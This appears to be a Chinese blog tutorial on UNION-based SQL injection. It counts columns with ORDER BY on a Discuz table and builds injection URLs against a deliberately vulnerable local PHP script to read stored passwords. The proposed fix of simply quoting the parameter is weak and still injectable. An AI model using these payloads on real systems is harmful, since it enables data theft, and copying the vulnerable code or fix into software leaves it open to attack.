一、查询表中包括有多少列:

这里以DISCUZ举例说明,例如以下

select * FROM pre_forum_thread ORDER BY 80

返回,Unknown column '80' in 'order clause'。这样能够判定一定小于80列,以下再试用 39

select * FROM pre_forum_thread ORDER BY 39

正常返回了数据,我们判定一定大于等于39,因此仅仅要再试一下40就能够了,这里略过试用,对于开源程序,我全然能够知道他就是有39列。

二、构造參数,读取数据库中的密码

这里以本地创建的一个表为例,前提是參数没有被过滤等操作,表 account 含有三个字段。分别为 id,admin,password

表内包括数据为:

1 admin 12345678
2 test 134545

创建PHP读取数据库文件 x.php:

<?php
$link = mysql_connect('127.0.0.1','root','11111111');
mysql_select_db('xtest',$link);
$id = isset($_GET['id'])? $_GET['id']:1;
$sql = "SELECT * FROM `account` WHERE id = " . $id;
$query = mysql_query($sql);
while($row = mysql_fetch_array($query)){
echo $row['admin'] . "<br/>";
}
?>

訪问地址 http://127.0.0.1/x.php?id=2 返回数据 test,到这里開始SQL的注入使用,构造參数后的地址

http://127.0.0.1/x.php?id=2 union select 1,2,3 from `account` where id=2

在返回数据中。发现2被返回了,因此,须要改动这里的2位置为想要的字段内容,比方说 password ,即地址改动为

http://127.0.0.1/x.php?id=2 union select 1,password,3 from `account` where id=2

运行地址后返回数据:

test
134545

这样密码就得到了。

当然这里仅仅是简单的举例说明。没有对密码进行MD5加密。假设是MD5加密或其他加密的话,仍然须要接下来的破解,就不是这里主要讲述的内容了。

此问题的解决的方法,说一个最简单的吧 ,将SQL语句 $sql = "SELECT * FROM `account` WHERE id = " . $id; 改动为

$sql = "SELECT * FROM `account` WHERE id = '$id'";
三、在第二个问题中,发现用户是使用了 while将全部数据进行循环得出的数据,假设用户不是循环。而是直接输出了最后一条数据怎么办呢?
这时。仅仅要将參数又一次改动,就能够仅仅返回union回来的数据了。例如以下
http://127.0.0.1/x.php?

id=3 union select 1,password,3 from `account` where id=2
由于表里面没有这条id=3的数据,又或者
http://127.0.0.1/x.php?id=2 and 1=2 union select 1,password,3 from `account` where id=2
这里非常明显 1和2是不相等的

最新文章

  1. Bootstrap 简洁、直观、强悍的前端开发框架,让web开发更迅速、简单。
  2. Java内存模型深度解析:volatile--转
  3. UILabel用法
  4. Android之ScrollView嵌套ListView
  5. ASP.NET Cookie 概述【转】
  6. C# Windows - SDI和MDI应用程序
  7. C#的switch与二维数组.....
  8. HDU-1402 A * B Problem Plus FFT(快速傅立叶变化)
  9. CI引入外部javascript和css
  10. php new self 详解(转)
  11. 找回mysql数据库root用户的密码
  12. Winform应用程序实现通用遮罩层二
  13. Flask笔记
  14. 使用log4net日志组件经验分享
  15. 【翻译】针对多种设备定制Ext JS 5应用程序
  16. C 小白的 thrift 环境搭建
  17. C 栈实现队列节点的管理
  18. vue 组件发布记录
  19. 首个hybird商业项目踩坑总结
  20. hdu 1548 升降梯

热门文章

  1. ACM童年生活二三事
  2. HTTP基础--cookie机制和session机制
  3. 使用org.jsoup.Jsoup下载网络中的图片
  4. c#深拷贝的一个方法
  5. JSP中include指令和include动作浅析
  6. 培训补坑(day2:割点与桥+强联通分量)
  7. CppCMS1.0.3 Build by VS2012
  8. 如何跳转到其他APP(android)
  9. Android_html5交互 弹框localstorage 存值 整体案例
  10. JDK7集合框架源码阅读(四) LinkedHashMap